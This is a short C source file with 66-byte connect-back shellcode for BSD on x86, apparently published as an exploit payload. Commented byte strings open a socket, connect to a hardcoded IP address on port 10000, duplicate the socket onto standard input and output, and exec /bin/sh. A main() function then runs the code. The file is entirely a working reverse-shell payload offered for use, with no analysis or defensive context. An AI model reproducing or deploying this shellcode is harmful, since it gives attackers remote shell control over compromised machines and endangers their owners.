/* 66 bytes connect-back shellcode - BSD-x86
 * - by bighawk (bighawk@kryptology.org)
 *
 * This shellcode connects back to you
 * Tested on: FreeBSD-4.4, NetBSD-1.5, OpenBSD-2.6
 *
 */

#define	IPADDR  "\x31\x03\x03\x07"
#define PORT    "\x27\x10"              /* htons(10000) */

char code[] =

   "\x31\xc9"			// xor	  ecx, ecx
   "\x51"			// push	  ecx
   "\x41"			// inc	  ecx
   "\x51"			// push	  ecx
   "\x41"			// inc	  ecx
   "\x51"			// push	  ecx
   "\x51"			// push	  ecx
   "\x6a\x61"			// push	  byte 97
   "\x58"			// pop	  eax
   "\xcd\x80"			// int	  80h
   "\x68"IPADDR			// push	  dword IPADDR
   "\x66\x68"PORT		// push	  word PORT
   "\x66\x51"			// push	  cx
   "\x89\xe6"			// mov	  esi, esp
   "\x6a\x10"			// push	  byte 16
   "\x56"			// push	  esi
   "\x50"			// push	  eax
   "\x50"			// push	  eax
   "\xb0\x62"			// mov	  al, 98
   "\xcd\x80"			// int	  80h
   "\x5b"			// pop	  ebx
   "\xb0\x5a"			// mov	  al, 90
   "\x51"			// push	  ecx
   "\x53"			// push	  ebx
   "\x53"			// push	  ecx
   "\xcd\x80"			// int	  80h
   "\x49"			// dec	  ecx
   "\x79\xf6"			// jns	  duploop
   "\x68\x2f\x2f\x73\x68"	// push	  dword 68732f2fh
   "\x68\x2f\x62\x69\x6e"	// push	  dword 6e69622fh
   "\x89\xe3"			// mov	  ebx, esp
   "\x50"			// push	  eax
   "\x54"			// push	  esp
   "\x53"			// push	  ebx
   "\x53"			// push	  ebx
   "\xb0\x3b"			// mov	  al, 59
   "\xcd\x80";			// int	  80h


main() {
  void (*a)() = (void *)code;
  printf("size: %d bytes\n", strlen(code));
  a();
}
